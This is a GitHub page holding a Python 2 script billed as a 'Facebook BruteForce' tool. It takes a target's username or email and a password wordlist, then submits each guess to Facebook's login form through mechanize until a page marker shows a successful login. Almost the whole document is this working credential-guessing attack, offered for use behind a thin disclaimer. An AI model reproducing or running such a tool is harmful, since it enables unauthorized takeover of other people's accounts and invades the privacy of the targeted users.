-
Notifications
You must be signed in to change notification settings - Fork 0
/
thesak.py
75 lines (66 loc) · 2.6 KB
/
thesak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python
# -*- coding: utf-8 -*-
#############################################
# #
# Facebook BruteForce, by Sohail Ahmed #
# Facebook Contact: ----- #
# #
#############################################
import time
import os
os.system('clear')
time.sleep(0.5)
try:
import mechanize
except ModuleNotFoundError:
print '[!] Module >Mechanize< Not Found!\n This module is only available in python 2.x :/\n Please install mechanize (pip install mechanize) and run the program with python2'
exit()
time.sleep(0.5)
user = raw_input('[💀] Target Username/ID/Email >>?? ')
time.sleep(0.8)
wrdlstFileName = raw_input('\n[💀] Wordlist Type key.txt >> ')
try:
wordlist = open(wrdlstFileName, 'r')
except FileNotFoundError:
print ('\n[!] File Not Found!')
exit()
time.sleep(0.8)
print '\n\nCracking '+user+' Now...'
time.sleep(1)
print '\nIM NOT RESPONSIBLE FOR ANY MISS USE AAHIL\n'
for password in wordlist:
if password == '' or password == ' ':
pass
else:
try:
browser = mechanize.Browser()
browser.set_handle_robots(False)
browser.addheaders = [('User-agent', "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36")]
fb = browser.open('https://facebook.com')
dos = open('Facebook-Log.txt', 'w+')
browser.select_form(nr=0)
browser.form['email'] = user
browser.form['pass'] = password
browser.method = 'POST'
browser.submit()
dos.write(browser.open('https://facebook.com').read())
dos.seek(0)
text = dos.read().decode('UTF-8')
if text.find('home_icon', 0, len(text)) != -1:
print '[+] Password Found > '+password
dos.close()
os.system('rm Facebook-Log.txt || del Facebook-Log.txt')
exit()
else:
print "[!] Wrong Password! > "+str(password)
except KeyboardInterrupt:
print '\n#############################################\n Exiting..'
dos.close()
os.system('rm Facebook-Log.txt || del Facebook-Log.txt')
exit()
time.sleep(1)
print 'Sorry, none of the passswords in your wordlist is right.'
time.sleep(0.8)
dos.close()
os.system('rm Facebook-Log.txt || del Facebook-Log.txt')
exit()